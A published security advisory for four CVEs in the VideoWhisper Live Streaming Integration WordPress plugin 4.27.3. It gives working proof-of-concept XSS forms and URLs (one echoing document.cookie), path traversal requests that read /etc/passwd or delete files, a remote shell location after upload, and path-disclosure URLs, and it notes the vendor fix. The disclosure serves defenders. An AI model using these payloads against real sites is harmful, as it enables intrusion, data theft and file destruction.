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VideoWhisper Live Streaming Integration 4.27.3 XSS / Shell Upload / Traversal

VideoWhisper Live Streaming Integration 4.27.3 XSS / Shell Upload / Traversal
Posted Feb 27, 2014
Authored by High-Tech Bridge SA | Site htbridge.com

VideoWhisper Live Streaming Integration version 4.27.3 suffers from cross site scripting, remote shell upload, information exposure, and path traversal vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss, file inclusion
advisories | CVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908
MD5 | 09168241f9f073bc603f605370e5e556

VideoWhisper Live Streaming Integration 4.27.3 XSS / Shell Upload / Traversal

Change Mirror Download
Advisory ID: HTB23199
Product: VideoWhisper Live Streaming Integration
Vendor: VideoWhisper
Vulnerable Version(s): 4.27.3 and probably prior
Tested Version: 4.27.3
Advisory Publication: February 6, 2014 [without technical details]
Vendor Notification: February 6, 2014
Vendor Patch: February 7, 2014
Public Disclosure: February 27, 2014
Vulnerability Type: Unrestricted Upload of File with Dangerous Type [CWE-434], Cross-Site Scripting [CWE-79], Path Traversal [CWE-22], Information Exposure Through Externally-Generated Error Message [CWE-211]
CVE References: CVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908
Risk Level: Critical
CVSSv2 Base Scores: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C), 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in VideoWhisper Live Streaming Integration, which can be exploited to execute arbitrary code on the target system, gain access to potentially sensitive data, perform Cross-Site Scripting (XSS) attacks against users of vulnerable application and delete arbitrary files.


1) Arbitrary File Upload in VideoWhisper Live Streaming Integration: CVE-2014-1905

VideoWhisper Live Streaming Integration does not properly verify malicious file extensions before uploading files to the server in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/vw_snapshots.php". A remote attacker can upload and execute arbitrary PHP file on the target system.

The following PoC code demonstrates exploitation of the vulnerability:

After successful exploitation the remote shell will be accessible via the following URL:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/snapshots/1.php.jpg

Successful exploitation of this vulnerability requires that the webserver is not configured to handle the mime-type for media files with .jpg extension.


2) Cross-Site Scripting (XSS) in VideoWhisper Live Streaming Integration: CVE-2014-1906

2.1 The vulnerability exists due to insufficient filtration of "m" HTTP POST parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits a page with enabled plugin’s widget. The script will be also executed in administrative section on the following page:

http://[host]/wp-admin/options-general.php?page=videowhisper_streaming.php&tab=live

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" method="post">
<input type="hidden" name="s" value="1">
<input type="hidden" name="u" value="1">
<input type="hidden" name="r" value="1">
<input type="hidden" name="m" value="<script>alert('immuniweb')</script>">
</form>
</body>

2.2 The vulnerability exists due to insufficient filtration of "msg" HTTP POST parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php" script. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and script code in browser in context of the vulnerable website when user visits the affected page.

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php" method="post">
<input type="hidden" name="msg" value="<script>alert('immuniweb')</script>">
<input type="hidden" name="r" value="1">
</form>
</body>

The code will be executed when the user visits the following URL:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads/[room]/Log[date].html

Where [room] is set by HTTP POST parameter r and [date] is the current date.

2.3 The vulnerabilities exist due to insufficient filtration of "n" HTTP GET parameter passed to scripts "channel.php", "htmlchat.php", "video.php" and "videotext.php" within the "/wp-content/plugins/videowhisper-live-streaming-integration/ls/" directory. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/channel.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/htmlchat.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/video.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/videotext.php?n=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

2.4 The vulnerability exists due to insufficient filtration of "message" HTTP GET parameter passed to "/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

2.5 The vulnerability exists due to insufficient filtration of "ct" HTTP POST parameter passed to "/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" method="post">
<input type="hidden" name="s" value="1">
<input type="hidden" name="r" value="1">
<input type="hidden" name="ct" value="<script>alert('immuniweb')</script>">
</form>
</body>

2.6 The vulnerability exists due to insufficient filtration of "ct" HTTP POST parameter passed to "/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php" script. A remote attacker can trick a user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php" method="post">
<input type="hidden" name="s" value="1">
<input type="hidden" name="r" value="1">
<input type="hidden" name="ct" value="<script>alert('immuniweb')</script>">
</form>
</body>


3) Path Traversal in VideoWhisper Live Streaming Integration: CVE-2014-1907

3.1 The vulnerability exists due to insufficient filtration of "s" HTTP GET parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php" script. A remote attacker can view contents of arbitrary files on the target system using directory traversal sequences.

The exploitation example below displays contents of "/etc/passwd" file:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php?s=../../../../../../etc/passwd

3.2 The vulnerability exists due to insufficient filtration of "s" HTTP GET parameter in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php" script. A remote attacker can delete arbitrary files on the target system using directory traversal sequences.

The exploitation example below deletes a file "/tmp/immuniweb":

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php?s=../../../../../../../../tmp/immuniweb

Successful exploitation of this vulnerability requires that file "/tmp/immuniweb" exists on the system.


4) Information Exposure Through Externally-generated Error Message in VideoWhisper Live Streaming Integration: CVE-2014-1908

4.1 The vulnerability exists due to improper implementation of error handling mechanisms in multiple scripts. A remote attacker can send a specially crafted HTTP GET request to vulnerable scripts and gain knowledge of full installation path of the application.

The following URL can be used to gain knowledge of full installation path of the application:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/bp.php

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/videowhisper_streaming.php

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp.inc.php


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Solution:

Update to VideoWhisper Live Streaming Integration version 4.29.5

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References:

[1] High-Tech Bridge Advisory HTB23089 - https://www.htbridge.com/advisory/HTB23089 - Multiple Vulnerabilities in VideoWhisper Live Streaming Integration Plugin for WordPress.
[2] VideoWhisper Live Streaming Integration - http://wordpress.org/plugins/videowhisper-live-streaming-integration/ - The VideoWhisper Live Streaming software can easily be used to add video broadcasting features to WordPress sites and live video streams on blog pages.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
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